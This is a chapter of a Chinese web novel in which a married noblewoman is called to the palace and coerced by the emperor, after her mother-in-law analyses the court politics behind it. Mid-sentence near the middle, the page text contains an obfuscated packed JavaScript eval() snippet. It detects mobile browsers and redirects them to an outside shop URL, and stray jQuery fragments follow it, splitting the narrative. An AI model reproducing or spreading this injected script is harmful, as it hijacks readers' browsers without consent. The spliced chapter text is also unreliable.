默认冷灰
24号文字
方正启体

12. 辞朱门

作者:深思熟绿了芭蕉本书字数:K更新时间:
    陆铮离京后的几日,柳韫跟着陆老夫人查看年节庄子上的进项,清点库房,安排开春后仆役的轮值,仿佛忙得脚不沾地,就能将那“七日之限”暂时挤出脑海。


    这日午后,婆媳二人在屋里核对一批刚送来的锦缎。


    这些都是预备着开春后各府人情往来、制新衣要用的料子,花样、数量、对应的人家,一点也错不得。


    陆老夫人捻着一匹云锦,对着册子道:“这匹颜色正,纹样也大气,留着,等崇化坊窦公府上太夫人寿辰时送去,正合适。”


    她说完,却没听见旁边回应。抬眼一看,只见柳韫手里拿着另一本册子,目光却虚虚地落在窗外一株红梅上,显然魂游天外。


    “韫儿?”陆老夫人声音微沉。


    “是。”柳韫猛地回神,以为是有什么东西要给她,下意识去接,却不小心用册子打到那匹云锦。


    云锦撞上高高堆叠起的云锦,连带着桌子上的茶盏倒落一地。


    瓷盏碎裂,蜜水泼溅,几匹价值不菲的软烟罗顿时染上一大片茶渍。


    厅内霎时一静。几个侍立的丫鬟嬷嬷都噤了声。


    柳韫看着狼藉的地面和污损的锦缎,脸色更白,慌忙蹲下身想去拾掇:“我这就收拾!”


    “都下去。”陆老夫人沉声道,声音里已带上了明显的不悦。


    下人们快速退了出去。


    柳韫维持着半蹲的姿势,低声道:“是韫儿的错,是韫儿不当心……”


    “你不是不当心。”陆老夫人打断她,目光锐利地落在她的脸上,“你这几日都是这副魂不守舍的样子,当我老眼昏花看不出来吗?说罢,到底出了什么事?”并提醒道,“别跟我绕弯子!”


    柳韫猜也瞒不住,迟早是要说的。


    她闭了闭眼,把裴昱容要她入含元宫侍药、长居宫中的事大致一说。


    “你说什么?!”陆老夫人猛地从椅子里站起来,手撑在桌沿,指节泛白,“你……!此言当真?!”


    柳韫几乎要哭出来,屈膝跪下:“阿家,我怎敢拿这等的事情胡说!”


    陆老夫人身形晃了晃,像被抽去了力气,又跌坐回椅中,胸膛微微起伏,脸色难看至极。


    “阿家,您保重身体……”柳韫膝行上前,想去扶她。


    “保重身体?”陆老夫人冷笑一声,嗔视向她,“你倒还劝我保重身体!怎么不干脆把我气死了干净!”


    她越说越气,声音也扬了起来:“当初铮儿非要娶你,我就不答应!门第悬殊不说,为了拒了邵家的婚事,上上下下打点、赔礼,耗费了多少人情脸面、多少真金白银!到底还是拂了太后的脸面!如今可好,竟惹出这等塌天大祸来!我陆家百年清誉,铮儿大好的前程,眼看就要蒙上洗不掉的污点,日后在朝中如何自处?天下人又将如何看他、看我们陆家?我陆家怎会出这等事!”


    柳韫被她连珠炮似的责难打得心头酸涩委屈翻涌,忍了多日的恐惧、无助、不甘也冲了上来。


    她抬起头,眼中含泪道:“阿家!此事是因我而起,可这难道是我的过错吗?我难道不想与阿郎安安稳稳、长相厮守吗?我难道愿意卷入这是非之中?可那是陛下!他开了口,下了令,我一个弱质女流,除了听命,还能有什么办法?抗旨吗?那会是什么下场,阿家您难道不清楚?”


    陆老夫人胸口剧烈起伏,但看着柳韫惨白的脸和眼中的泪光,那怒气终究是化作了一声沉重的叹息。她到底是经过风浪的,强逼自己冷静下来。


    “还剩几日?”她忽然问,声音恢复了平日的冷硬。


    “还有两日。”柳韫低声道。


    “两日……”陆老夫人喃喃。


    柳韫心中燃起一丝微弱的希望,“阿家,您可有办法?”


    “办法?”陆老夫人苦笑,那笑容里满是无奈与苍凉,“你也知道,若是旁人,豁出这张老脸,拼着家财散尽,或许还能周旋一二。可那是九五之尊,金口玉言,他要做的事,这满朝文武,谁拦得住?谁又敢拦?”


    柳韫急道:“可、可陛下不是尚需听太后娘娘的旨意吗?太后娘娘难道会准许陛下做出这等……”


    陆老夫人看着她,眼神复杂。只觉得她太过天真。


    “你以为太后为何会准许?当初铮儿拒婚,补偿做得再足,太后心里那根刺就真的拔干净了?她最是懂权衡。如今皇帝要强取臣子之妻,若传出去,是天大的丑闻,伤的是铮儿的脸面,寒的是边关将士的心,乱的是朝堂的纲常。可对太后而言,这乱……未尝不是她想要的。”


    她见柳韫听得发愣,继续道:“铮儿手握重兵,本就让她难以安枕。如今陛下自己跳出来与他结下梁子,她岂会阻拦?”


    也就是说皇帝此举,不仅会让他与手握实权的重臣离心,让人觉得他昏聩无道,日后则更需仰仗她这明理的太后。


    “再者,”陆老夫人压低了声音,眼底掠过一丝寒意,“若真把铮儿逼到绝境,生出什么事端,她便有了十足的理由,调集其他藩镇或中央禁军去‘平乱’。届时,既能名正言顺地削了铮儿的兵权,又能借此震慑其他节度使——这笔账,她算得清清楚楚。”


    柳韫听完,先前一丝侥幸被彻底碾碎。


    陆老夫人看着她失魂落魄的样子,又是一声冷笑:“你如今倒不如好好想想,陛下他到底图什么?这般损人不利己、自毁长城的事他也要做,而这一切,只是为了把你拘在身边?”


    柳韫怔住,以为老夫人是在暗指她行为不端,慌忙辩解:“阿家明鉴!韫儿与陛下绝无私下往来,更不曾有过任何逾越之举!我……”


    “行了!”陆老夫人不耐地打断她,“我又没说你做了什么。”她目光沉沉,“此事,你没告诉铮儿罢?”


    柳韫摇头:“不敢说。边关凶险,怕他分心。”


    “还算知道点轻重。”陆老夫人脸色稍霁,沉吟道,“这事,眼下只能瞒着。如今还要打仗,想来陛下也不会大张旗鼓来拿人,多半是找个时间,悄悄把你接进宫去。”


    她说着,见柳韫眼神空洞,显然已被这接踵而至的打击和冷酷的分析压得摇摇欲坠。


    陆老夫人心中烦恶至极,摊上这等祸事,她焉能不怪柳韫?


    可看着她这副模样,想到儿子临行前对她的牵挂,那点迁怒终究化为了一丝微薄的怜悯。


    她站起身,经过柳韫身边时,脚步顿了顿,最终只硬邦邦地丢下一句:“这两日,你好生待在府里,哪儿也别去。该吃吃,该睡睡,养点精神。真到了那一步……进了那地方,自己机灵点,保住命最要紧。”


    ?


    一顶灰幔小车停在陆府的西角门。没有仪仗,没有喧哗,只有两名内侍和一位嬷嬷。


    柳韫早已穿戴整齐,是一身比平日更素净的襦裙,发髻上只簪了一支朴素的玉簪,是陆铮临走前那夜赠她的,相对别的饰品来说轻便不少,且格外衬她,玉质尚还不错。


    别的,几乎什么都没有带。


    柳韫最后看了一眼这个她曾以为能栖息一生的院落,角门内外,除了两名内侍和那名嬷嬷,再无其他人影。


    陆府深处一片寂静,仿佛还在沉睡,也仿佛对她的离去漠不关心。


    她也并未期待什么送别,尤其是在这样的情形下。


    只是那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450141|201163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    预料之中的空旷,依旧让心口某个地方,无声地塌陷下去一小块。


    她收回目光,不再迟疑,转身,踏出了角门。


    她被带进了宫,又直接被接到了寝殿。


    柳韫忍不住开口问:“请问,我是否该去尚药局或宫女所居的房舍?侍药之人,安置在此处,恐于礼不合。”


    引领她的内侍将她安置下后,正要离开,听到她这话,回道:“娘子说笑了,这才是你该待的地方。”


    说完,他便退了出去。


    柳韫独自站在寝殿中央,环顾四周。


    这里安静得可怕,除了她,就是其余宫人在分别做了自己的事情。


    时间在煎熬中缓慢流逝。


    偶尔有宫人进来更换香炉里的香饼,或是添上热茶、点心。


    他们动作轻巧,目不斜视,对柳韫的存在视若无睹。


    柳韫试图问询:“陛下何时会来?”


    她并非盼望他的到来,但这种悬而未决、全然被动的等待,亦如同酷刑。


    未知本身,有时比已知的厄运更难煎熬。


    “不知。”


    “我可否去……书库查阅医典?”她并不想待在此处。


    “未有吩咐,娘子请安心在此。”


    宫人礼貌地将她所有试探都挡了回来。


    她只能找了个椅子坐下,静静等候着,想着事情。


    越想,就越觉得委屈,甚至掉了两滴眼泪出来,左右看看,没人看到,又赶忙将它擦掉。


    不知过了多久,窗外的天光渐渐暗淡。


    寝殿里的气氛忽然有了一丝变化。原本侍立在门外廊下的宫人,开始更频繁地走动。


    细碎的脚步声、器皿轻微的碰撞声,隔着门扉隐约传来。


    门被推开,两名身量较高的宦官抬进一个硕大的冒着蒸腾热气的柏木浴桶,安放在寝殿内侧早已摆好的屏风之后。


    紧接着,宫女们鱼贯而入,手持金盆、玉瓢、雪白的巾帕、散发着清雅气息的澡豆与香膏,还有折叠整齐的柔软寝衣。


    柳韫站起身,发现这样子像是要沐浴的前兆。


    谁沐浴呢?这里又没别人。


    正想着,裴昱容回来了。


    他走进寝殿,宫人们齐刷刷地躬身行礼,“陛下。”


    一名宫女上前一步,伸手欲为他解开腰间的玉带。


    却被裴昱容抬手制止。


    那宫女立刻缩回手。


    “都退下罢。”裴昱容道。


    宫人们立刻躬身,秩序井然地退出寝殿。


    柳韫学着那些宫人的样子,垂首敛目,也打算随着人流的末尾悄悄退出去。


    就在她小碎步试图绕过裴昱容身侧时,一只手臂忽然横了过来,拦住了她的去路。


    柳韫差点一头撞上去,猛地刹住脚步,错愕地抬起头。


    裴昱容正垂眸看着她,嘴角弯了弯,“去哪?”


    柳韫喉咙发干,道:“退下……”


    裴昱容道:“谁让你退了?”


    柳韫一怔,下意识道:“陛下应是要沐浴,臣妇在此恐有不妥。”


    “何处不妥?”裴昱容问,“你如今是以什么身份站在这里?”


    一提到这个,柳韫身形一顿,指尖掐入掌心,道:“……臣妇奉旨,入宫侍药。”


    “侍药。”裴昱容点了点头,目光扫过屏风后的浴桶,又落回她的脸上,“侍药宫女,难道不包括伺候朕的起居日常么?可不只是盯着药炉子。”


    他微微倾身,温热的气息几乎拂过她的耳廓:


    “现在,朕要沐浴。你来替朕更衣。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)